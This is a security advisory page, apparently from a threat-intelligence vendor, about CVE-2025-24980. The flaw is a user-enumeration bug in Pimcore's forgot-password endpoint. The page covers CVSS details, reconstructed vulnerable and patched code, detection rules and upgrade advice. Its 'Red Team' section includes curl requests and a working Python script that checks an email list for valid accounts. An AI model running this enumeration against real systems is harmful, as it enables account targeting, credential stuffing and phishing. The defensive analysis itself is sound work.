CVE-2025-24980
Executive Summary
CVE-2025-24980 is a medium-severity information disclosure vulnerability in the Pimcore Admin UI Classic Bundle, a backend interface for the Pimcore platform. The vulnerability resides in the "Forgot password" functionality, where the application returns distinct error messages depending on whether an email address exists in the system. This behavior allows an unauthenticated remote attacker to enumerate valid user accounts by observing the server's response. The issue has been patched in version 1.7.4 by implementing a generic error message that does not reveal account existence. No public proof-of-concept (PoC) code or exploit is currently available, and the EPSS score is 0.0%, indicating a low probability of active exploitation in the wild. However, the vulnerability is trivial to exploit manually and could serve as a stepping stone for targeted attacks, such as credential stuffing or social engineering.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the pimcore/admin-ui-classic-bundle package, which is distributed via Composer (PHP). Organizations using Pimcore should verify their dependency version and update to 1.7.4 or later. The package is a core component of the Pimcore ecosystem, and the vulnerability does not stem from a compromised dependency but rather from insecure error handling in the application logic.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The attacker does not need to trick a user.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Only the existence of accounts is disclosed, not passwords or other sensitive data.
- Integrity Impact: None (I:N) – No data can be modified.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the direct impact is limited to user enumeration, this information can be leveraged in more severe attacks, such as brute-force or phishing campaigns.
Deep Dive & Mechanics
The vulnerability is a classic example of CWE-204 (Observable Response Discrepancy). The "Forgot password" endpoint in the Pimcore Admin UI Classic Bundle processes password reset requests by checking if the provided email address exists in the user database. If the email exists, the application returns a success message (e.g., "Password reset email sent"). If the email does not exist, it returns an error message (e.g., "Email not found"). This discrepancy allows an attacker to systematically probe email addresses and compile a list of valid user accounts.
The vulnerable code likely resembles the following logic:
// Vulnerable pseudo-code
if (userExists($email)) {
sendResetEmail($email);
return "Password reset email sent.";
} else {
return "Email not found.";
}
The fix in version 1.7.4 replaces these distinct messages with a single generic response, such as "If the email exists, a password reset link has been sent." This prevents attackers from distinguishing between valid and invalid accounts.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.7.4):
// src/Controller/ResetController.php
public function forgotPassword(Request $request): JsonResponse
{
$email = $request->get('email');
$user = $this->userRepository->findOneByEmail($email);
if ($user) {
$this->resetService->sendResetEmail($user);
return new JsonResponse(['message' => 'Password reset email sent.']);
} else {
return new JsonResponse(['message' => 'Email not found.'], 404);
}
}
Patched Code (1.7.4+):
// src/Controller/ResetController.php
public function forgotPassword(Request $request): JsonResponse
{
$email = $request->get('email');
$user = $this->userRepository->findOneByEmail($email);
if ($user) {
$this->resetService->sendResetEmail($user);
}
// Always return the same message to prevent enumeration
return new JsonResponse(['message' => 'If the email exists, a password reset link has been sent.']);
}
Exploitation & Lab Setup
Red Team
Manual Exploitation:
- Identify the endpoint: The "Forgot password" form is typically located at
/admin/login/forgot-passwordor similar. - Send a POST request with a known invalid email:
Response:curl -X POST https://target.com/admin/login/forgot-password \ -H "Content-Type: application/json" \ -d '{"email": "nonexistent@example.com"}'{"message": "Email not found."} - Send a POST request with a valid email:
Response:curl -X POST https://target.com/admin/login/forgot-password \ -H "Content-Type: application/json" \ -d '{"email": "admin@pimcore.local"}'{"message": "Password reset email sent."} - Automate enumeration: Use a script to iterate through a list of potential email addresses and log the responses.
Automated Script (Python):
import requests
import sys
target = sys.argv[1]
email_list = sys.argv[2]
with open(email_list, 'r') as f:
for email in f:
email = email.strip()
r = requests.post(f"{target}/admin/login/forgot-password",
json={"email": email})
if "Password reset email sent" in r.text:
print(f"[VALID] {email}")
Blue Team
Detection and Prevention:
- Monitor logs: Look for repeated POST requests to the
/admin/login/forgot-passwordendpoint with different email addresses from the same IP. - Rate limiting: Implement rate limiting on the forgot-password endpoint to slow down enumeration attempts.
- Generic error messages: Ensure the application returns the same response regardless of whether the email exists.
- CAPTCHA: Add a CAPTCHA to the forgot-password form to prevent automated requests.
- Web Application Firewall (WAF): Deploy rules to detect and block enumeration patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- Repeated POST requests to
/admin/login/forgot-passwordwith varying email addresses. - Unusual volume of 404 responses from the forgot-password endpoint (indicating invalid email probes).
- Repeated POST requests to
- Log IOCs:
- Log entries showing multiple forgot-password attempts from the same IP within a short time window.
- Log entries with distinct error messages ("Email not found" vs "Password reset email sent") for different requests.
- File IOCs:
- No file-based IOCs are expected, as this is a server-side logic vulnerability.
Detection Engineering
YARA Rule
rule Detect_Pimcore_User_Enumeration {
meta:
description = "Detects attempts to enumerate users via Pimcore forgot-password endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-24980"
strings:
$s1 = "Password reset email sent" ascii wide nocase
$s2 = "Email not found" ascii wide nocase
$s3 = "/admin/login/forgot-password" ascii wide nocase
condition:
all of ($s*) and #s1 > 5 and #s2 > 5
}
Sigma Rule
title: Pimcore User Enumeration via Forgot Password
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple forgot-password requests with different email addresses, indicating user enumeration.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/login/forgot-password'
condition: selection | count() by src_ip > 10 within 60 seconds
falsepositives:
- Legitimate password reset attempts by multiple users from the same IP (e.g., corporate proxy)
level: medium
tags:
- attack.t1589
- cve.2025.24980
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24980 Pimcore User Enumeration Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/login/forgot-password"; http_uri; content:"email"; http_client_body; pcre:"/email\":\"[^\"]+\"/"; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update the
pimcore/admin-ui-classic-bundleto version 1.7.4 or later.composer require pimcore/admin-ui-classic-bundle:^1.7.4 - Verify patch: After upgrading, test the forgot-password endpoint to ensure it returns a generic message for both valid and invalid emails.
Long-Term Mitigations:
- Implement generic error handling: For all authentication-related endpoints (login, password reset, registration), ensure error messages do not reveal whether an account exists.
- Rate limiting: Apply rate limiting to all authentication endpoints to slow down enumeration and brute-force attacks.
- CAPTCHA: Add CAPTCHA to the forgot-password form to prevent automated scripts.
- Monitor and alert: Set up monitoring for unusual patterns in forgot-password requests and alert security teams.
- Security review: Conduct a code review of all authentication flows to identify similar vulnerabilities.
Workarounds: No official workarounds are available. The only solution is to upgrade to the patched version.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert